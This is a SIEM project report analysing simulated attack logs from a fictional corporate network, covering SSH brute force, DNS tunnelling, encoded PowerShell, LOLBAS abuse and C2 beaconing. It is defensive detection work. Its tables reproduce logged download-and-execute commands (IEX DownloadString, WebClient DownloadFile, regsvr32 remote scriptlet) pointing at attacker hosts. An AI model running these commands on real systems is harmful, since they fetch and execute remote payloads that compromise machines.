

Report 02 — Dataset Analysis

Project: SIEM Correlation Rules — ELK Stack **Date:** 2026-07-07 | **Log Date:** 2026-06-15 **Version:** 1.0

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1. Overview

All log data was collected on **2026-06-15** across a simulated corporate environment (CORP domain). Twelve log files were ingested spanning authentication, DNS, PowerShell, process creation, network connections, proxy traffic, and firewall events. The collection window covers approximately 5.5 hours (00:00–05:31 UTC).

Metric	Value
Total log files	12
Total log lines	1,385
Collection start	2026-06-15 00:00:00
Collection end	2026-06-15 05:31:00
Unique source hosts	15
Unique user accounts observed	10
Malicious IPs identified	3
Malicious domains identified	2

2. Log Source Inventory

#	File Path	Format	Lines	Key Fields	Primary Use
1	authentica	Windows	130	EventID,	Credential

#	File Path	Format	Lines	Key Fields	Primary Use
	tion/ windows_security.log	Event Log (text)		AccountName, SourceNetworkAddress, LogonType	stuffing, lockouts
2	authentication/ ssh.log	syslog (sshd)	131	hostname, user, src_ip, port, result	SSH brute force
3	authentication/ auth.log	Linux PAM/syslog	115	hostname, service, user, result, src_ip	Linux auth events
4	dns/ dns.log	BIND named syslog	140	client_ip, query, record_type, resolver	DNS tunnelling
5	dns/ dns_queries.log	CSV structured	131	timestamp, client_ip, query, record_type, response_code	DNS tunnelling
6	dns/ zeek_dns.log	Zeek TSV	137	ts, uid, orig_h, query, qtype_name, answers, TTL	DNS tunnelling (network layer)
7	network/ powershell.log	Windows Event Log (text)	100	EventID, CommandName, User, ScriptBlock	PowerShell exploitation
8	network/ process_creation.log	Windows Security 4688	100	NewProcessName, CommandLine, CreatorProcess, AccountName	LOLBAS, payload execution
9	network/ sysmon.log	Sysmon Event ID 1	110	Image, CommandLine, ParentImage, User, Hashes	PowerShell from Office, LOLBAS
10	powershell/ proxy.log	Squid-style access log	120	client_ip, user, method, url, status, bytes, user_agent	Download cradles, C2 beaconing
11	powershell/ firewall.log	iptables kernel log	140	direction, src_ip, dst_ip, proto, dpt, action	External attacker scanning

#	File Path	Format	Lines	Key Fields	Primary Use
12	powershell / network_connections.log	CSV structured	131	timestamp, src_ip, dst_ip, dst_port, proto, bytes, status	C2 persistence, lateral movement

3. Authentication Logs

3.1 windows_security.log

Contains Windows Security Audit events from seven domain-joined hosts. Key Event IDs observed:

Event ID	Description	Count (approx.)
4624	Successful logon	38
4625	Failed logon	36
4634	Logoff	42
4672	Special privileges assigned	6
4688	New process created	8
4740	Account locked out	5

Logon Types observed:

Logon Type	Meaning	Notes
2	Interactive	Local console logon
3	Network	SMB / mapped drives
10	RemoteInteractive	RDP

Account Lockouts (Event 4740):

Timestamp	Account	Host	Caller IP
2026-06-15 01:02:15	kpatel	WKS-FIN07	10.22.9.11
2026-06-15 01:25:38	nreddy	WKS-ENG14	10.21.7.22
2026-06-15 01:37:13	rgupta	WKS-ENG14	10.21.7.244
2026-06-15 01:56:44	lchen	SRV-FILE02	172.16.5.74
2026-06-15 01:59:58	dwilson	WKS-HR03	172.16.5.114

Special Privilege Assignments (Event 4672 — SeDebugPrivilege):

Timestamp	Account	Host
2026-06-15 00:01:00	svc_backup	SRV-APP05
2026-06-15 00:27:59	jsmith	WKS-SALES22
2026-06-15 01:03:42	dwilson	WKS-FIN07
2026-06-15 01:39:43	svc_sql	SRV-APP05
2026-06-15 02:22:09	amehta	WKS-SALES22
2026-06-15 02:53:54	dwilson	SRV-DC01

3.2 ssh.log (OpenSSH)

Captures SSH daemon events from six Linux servers. The dominant pattern is repeated `pam_unix(sshd:auth): authentication failure` and `Failed password` entries from **185.220.101.47** targeting common usernames.

Brute-Force Target Accounts from 185.220.101.47:

Username	Hosts Targeted	Sample Timestamp
ubuntu	web-prod01, bastion01	00:28:38, 01:16:26
backup	app-prod03	00:43:39
deploy	app-prod03, mail-relay01	01:05:51, 02:00:30
oracle	web-prod02, bastion01	00:48:24, 03:02
root	app-prod03	01:07:48, 01:36:34
admin	app-prod03, bastion01	01:57:11, 01:54:20
administrator	mail-relay01, bastion01	01:01:37, 02:16:24
postgres	db-prod01, web-prod01	02:22:05, 03:08:27
test	db-prod01	01:52:12
svc_backup	mail-relay01, db-prod01	00:51:20, 02:57:53
svc_sql	bastion01	01:52:59

Successful SSH logins (legitimate):

Timestamp	User	Host	Source IP	Method
00:33:49	jsmith	mail-relay01	10.20.11.19	password
00:36:49	nreddy	app-prod03	172.16.5.173	publickey
01:50:36	tverma	app-prod03	10.22.9.236	publickey
01:59:41	svc_backup	db-prod01	10.20.11.173	password
02:31:03	svc_backup	bastion01	10.20.11.221	publickey
03:02:17	lchen	web-prod01	10.22.9.148	publickey
03:28:22	kpatel	db-prod01	10.20.4.249	password

Timestamp	User	Host	Source IP	Method
03:35:57	svc_sql	app-prod03	10.21.7.173	publickey
04:15:18	lchen	web-prod02	10.22.9.172	password

3.3 auth.log

Linux PAM authentication log. Notable entries include:

- Repeated Failed password for invalid user from **185.220.101.47** and **103.68.22.9**
- sudo executions by svc_backup (nginx restart on mail-relay01 and web-prod02)
- sudo by amehta (nginx restart on bastion01)
- Normal CRON job entries (/usr/lib/php/sessionclean)
- Multiple successful Session opened entries for legitimate users

4. DNS Logs

4.1 dns.log (BIND named)

Structured syslog output from BIND on dns-srv01. Contains client IP, query name, record type, and resolver.

Legitimate query types observed:

Domain	Record Types	Notes
office365.com	A, CNAME, MX	Microsoft 365 traffic
slack.com	A, CNAME, MX	Collaboration tool
github.com	A, CNAME, MX	Developer tool
microsoft.com	A, CNAME, MX	Microsoft services
google.com	A, CNAME, MX	General internet
cloudflare.com	A, CNAME	CDN
akamai.net	A, CNAME, MX	CDN
corp.local	A, CNAME, AAAA	Internal domain
fileshare.corp.local	A, CNAME, AAAA	Internal file share
intranet.corp.local	A, CNAME, AAAA	Internal intranet
mail.corp.local	A, CNAME, AAAA	Internal mail

Suspicious TXT queries to cdn-sync-update.net (sample):

Timestamp	Client IP	Query (subdomain)
00:23:33	172.16.5.104	bbz2sf6f7low4vssruraldol65wvjx8uibrsz1n3iuzgppoh.cdn-sync-update.net
00:25:18	10.20.11.134	u9rn8qTTY5y2jr8kk791zyrru7zkut6o.cdn-sync-update.net
00:29:32	172.16.5.191	ib6iidlrye89fx5rx1kkc1xi04b7p47b42g05kbkv7mqxs6e.cdn-sync-update.net
00:37:09	172.16.5.53	tf4pyzr6qceouuylajahcpztc69qkgex08n6q7nc85e4e9oe.cdn-sync-update.net
00:41:33	10.22.9.144	eihx74d0gjyv5g10ur5l8a78e9ri vh6t1ntmjsrd9q46nouh.cdn-sync-update.net
00:47:38	10.20.4.136	4c3baewcfhqcw76xatoaztszp7g7siw.cdn-sync-update.net
00:52:23	10.22.9.99	tcagrp2u4dtbh55rbc76ub7l8v1zocfi4o6l1f90.cdn-sync-update.net

4.2 dns_queries.log (CSV)

Structured CSV with timestamp, client_ip, query, record_type, response_code. Confirms the same TXT query pattern with NOERROR responses, indicating the DNS server is successfully resolving the tunnelling domain.

Response code distribution:

Response Code	Count (approx.)	Meaning
NOERROR	121	Query resolved successfully
NXDOMAIN	10	Domain not found

4.3 zeek_dns.log (Network Layer)

Zeek captures DNS at the packet level, providing additional fields including uid, TTL, and full answers content. Key finding: TXT responses from cdn-sync-update.net contain **long base64-encoded payloads** in the answer field, confirming active DNS tunnelling data exfiltration.

Sample Zeek TXT record with answer payload:

```
ts: 1781482478.000000
query: d8wj0uunnv6cj9io3m25a5piskffv3xoleyrvxioieves.cdn-sync-update.net
qtype: TXT
TTL: 60.000000
answer: cJg8vuazxkdq95g3v23gxj0mqvindh4spfdwrwb2serev361xsnbti22nv01z
```

The TTL of **60 seconds** (versus 300–3600 for legitimate records) is a strong indicator of dynamically generated tunnelling subdomains.

5. PowerShell and Network Logs

5.1 network/powershell.log (PowerShell Operational)

Windows PowerShell Event Log from multiple hosts. Key Event IDs:

Event ID	Description	Significance
4103	Module / pipeline execution	Records cmdlet invocations and parameters
4104	Script block logging	Captures full script text before execution — critical for detecting obfuscated code
4100	Engine stop	Normal session termination

Malicious Script Blocks Captured (Event 4104):

Timestamp	Host	User	Script Block (truncated)
02:07:56	WKS-SALES22	rgupta	IEX (New-Object Net.WebClient).DownloadString('http://malicious-update-cdn.net/stage2.ps1')
02:22:26	WKS-FIN07	tverma	powershell.exe -NoP -NonI -W Hidden -Enc JABzAD0ATgBLAHcALQBP...
02:55:39	SRV-APP05	svc_backup	(New-Object System.Net.WebClient).DownloadFile('http://185.220.101.47/update.exe','C:\Users\svc_backup\AppData\Local\Temp\update.exe')
03:29:53	SRV-APP05	nreddy	powershell.exe -NoP -NonI -W Hidden -Enc JABzAD0ATgBLAHc

Timestamp	Host	User	Script Block (truncated)
			ALQBP...
04:20:07	WKS-SALES22	svc_backup	(New-Object System.Net.WebClient).DownloadFile('http://185.220.101.47/update.exe', 'C:\Users\svc_backup\AppData\Local\Temp\update.exe')
04:27:36	WKS-FIN07	svc_sql	powershell.exe -NoP -NonI -W Hidden -Enc JABzAD0ATgBlAHcALQBP...
04:48:27	WKS-SALES22	kpatel	powershell.exe -NoP -NonI -W Hidden -Enc JABzAD0ATgBlAHcALQBP...
04:51:46	SRV-DC01	jsmith	IEX (New-Object Net.WebClient).DownloadString('http://malicious-update-cdn.net/stage2.ps1')
04:59:36	SRV-DC01	nreddy	IEX (New-Object Net.WebClient).DownloadString('http://malicious-update-cdn.net/stage2.ps1')
05:10:07	WKS-FIN07	kpatel	(New-Object System.Net.WebClient).DownloadFile('http://185.220.101.47/update.exe', 'C:\Users\kpatel\AppData\Local\Temp\update.exe')

5.2 network/sysmon.log (Sysmon Event ID 1)

Sysmon process creation records with SHA256 hashes and parent process information.

Malicious PowerShell spawned from Office applications:

Timestamp	Host	Parent Process	Child Process	User
00:46:06	SRV-APP05	EXCEL.EXE	powershell.exe -NoP -NonI -W Hidden -Enc	kpatel
00:51:20	SRV-FILE02	EXCEL.EXE	powershell.exe -NoP -NonI -W Hidden -Enc	nreddy
00:54:10	WKS-ENG14	WINWORD.EXE	powershell.exe -NoP -NonI -W Hidden -Enc	svc_sql
00:57:58	WKS-FIN07	cmd.exe	powershell.exe -NoP -NonI -W Hidden -Enc	svc_sql
01:03:02	SRV-DC01	WINWORD.EXE	powershell.exe -NoP -NonI -W Hidden -Enc	tverma
01:14:01	WKS-SALES22	WINWORD.EXE	powershell.exe -NoP -NonI -W Hidden -Enc	svc_sql
01:19:55	WKS-FIN07	cmd.exe	powershell.exe -NoP -NonI -W Hidden -Enc	tverma
01:29:50	SRV-APP05	EXCEL.EXE	powershell.exe -NoP -NonI -W Hidden -Enc	jsmith
01:54:33	SRV-APP05	EXCEL.EXE	powershell.exe -NoP -NonI -W Hidden -Enc	tverma
01:55:48	WKS-FIN07	cmd.exe	powershell.exe -NoP -NonI -W Hidden -Enc	tverma

5.3 network/process_creation.log (Event ID 4688)

LOLBAS (Living Off the Land Binaries) activity:

Timestamp	Host	Process	Command Line	User
00:44:25	SRV-APP05	regsvr32.exe	regsvr32.exe /s /u /i:http://cd n-sync-	amehta

Timestamp	Host	Process	Command Line	User
			update.net/x .sct scroobj.dll	
00:45:26	WKS-SALES22	rundll32.exe	rundll32.exe C: \Users\kpatel\AppData\Local\Temp\payload.dll,DllMain	kpatel
00:53:26	SRV-FILE02	rundll32.exe	rundll32.exe C: \Users\amehta\AppData\Local\Temp\payload.dll,DllMain	amehta
01:40:43	SRV-APP05	regsvr32.exe	regsvr32.exe /s /u /i:http://cdn-sync-update.net/x .sct scroobj.dll	amehta
01:45:03	SRV-FILE02	regsvr32.exe	regsvr32.exe /s /u /i:http://cdn-sync-update.net/x .sct scroobj.dll	rgupta
01:57:51	WKS-ENG14	rundll32.exe	rundll32.exe C: \Users\rgupta\AppData\Local\Temp\payload.dll,DllMain	rgupta
02:15:05	WKS-SALES22	regsvr32.exe	regsvr32.exe /s /u /i:http://cdn-sync-update.net/x .sct scroobj.dll	jsmith

5.4 powershell/proxy.log

Web proxy access log capturing HTTP/HTTPS traffic through the corporate proxy.

Malicious URLs accessed:

Timestamp	User	URL	User Agent	Status
00:25:46	svc_backup	http://malicious-update-cdn.net/stage2.ps1	WindowsPowerShell/5.1	200
00:41:18	jsmith	http://malicious-update-cdn.net/stage2.ps1	WindowsPowerShell/5.1	200
01:20:09	rgupta	http://malicious-update-cdn.net/stage2.ps1	WindowsPowerShell/5.1	200

DNS-over-HTTPS beaconing:

Timestamp	User	URL	Status
00:32:34	lchen	POST https://cdn-sync-update.net/dns-query	200
00:33:22	svc_sql	POST https://cdn-sync-update.net/dns-query	200
00:47:45	nreddy	POST https://cdn-sync-update.net/dns-query	200
00:55:45	kpatel	POST https://cdn-sync-update.net/dns-query	200

5.5 powershell/firewall.log

Inbound scanning/attack attempts blocked:

Source IP	Target	Port	Protocol	Action	Pattern
185.220.101.47	10.20.11.139	22	TCP	DENY	SSH brute force
185.220.101.47	172.16.5.184	3389	TCP	DENY	RDP brute force
185.220.101.47	172.16.5.113	445	TCP	DENY	SMB scanning
185.220.101.47	10.20.11.119	3389	TCP	DENY	RDP brute force
45.146.164.110	10.22.9.7	3389	TCP	DENY	RDP scanning
45.146.164.110	172.16.5.193	445	TCP	DENY	SMB scanning

Outbound connections to threat actor IPs (ALLOW):

Source IP	Destination	Port	Bytes	Status
10.21.7.182	185.220.101.47	443	659,582	ESTABLISHED
10.20.4.133	91.203.145.12	443	775,654	ESTABLISHED
10.20.11.250	103.68.22.9	443	558,213	ESTABLISHED
10.20.4.46	103.68.22.9	443	768,846	ESTABLISHED

6. Event Distribution Summary

Log Source	Total Events	Malicious Events	Benign Events	Malicious %
windows_security.log	130	41 (failures+lockouts)	89	32%
ssh.log	131	62 (brute force)	69	47%
auth.log	115	8 (brute force+invalid)	107	7%
dns.log	140	48 (TXT tunnelling)	92	34%
dns_queries.log	131	47 (TXT tunnelling)	84	36%
zeek_dns.log	137	45 (TXT tunnelling)	92	33%
powershell.log	100	22 (malicious scripts)	78	22%
process_creation.log	100	7 (LOLBAS)	93	7%
sysmon.log	110	10 (PS from Office)	100	9%
proxy.log	120	7 (malicious URLs)	113	6%
firewall.log	140	31 (deny+suspicious)	109	22%
network_connections.log	131	4 (C2 established)	127	3%

7. Timeline of Notable Events

Timestamp	Event	Source	Significance
00:01:00	svc_backup assigned SeDebugPrivilege	windows_security.log	Privilege escalation indicator
00:23:33	First TXT query to cdn-sync-update.net	dns.log	DNS tunnelling begins
00:25:46	svc_backup downloads stage2.ps1	proxy.log	PowerShell C2 stage 2
00:41:18	jsmith downloads stage2.ps1	proxy.log	Account compromised
00:43:39	SSH brute force — backup/185.220.101.47	ssh.log	Active brute force
00:44:25	regsvr32 LOLBAS — cdn-sync-update.net	process_creation.log	Living-off-the-land attack
00:46:06	powershell.exe spawned from EXCEL.EXE	sysmon.log	Macro-based execution
01:02:15	kpatel account locked out	windows_security.log	Credential stuffing confirmed
01:20:09	rgupta downloads stage2.ps1	proxy.log	Lateral spread of payload
01:25:38	nreddy account locked out	windows_security.log	Credential stuffing confirmed
01:37:13	rgupta account locked out	windows_security.log	Credential stuffing confirmed
01:56:44	lchen account locked out	windows_security.log	Credential stuffing confirmed
01:59:58	dwilson account locked out	windows_security.log	Credential stuffing confirmed
02:07:56	IEX DownloadString on WKS-SALES22 (rgupta)	powershell.log	Fileless payload execution
02:22:26	Encoded PS on WKS-FIN07 (tverma)	powershell.log	Obfuscated C2 stager
02:55:39	DownloadFile update.exe (svc_backup)	powershell.log	Malware binary dropped
04:51:46	IEX DownloadString on SRV-DC01 (jsmith)	powershell.log	Domain controller compromised
04:59:36	IEX DownloadString on SRV-DC01 (nreddy)	powershell.log	DC exploitation ongoing
05:10:07	DownloadFile	powershell.log	Further malware

Timestamp	Event	Source	Significance
	update.exe (kpatel)		staging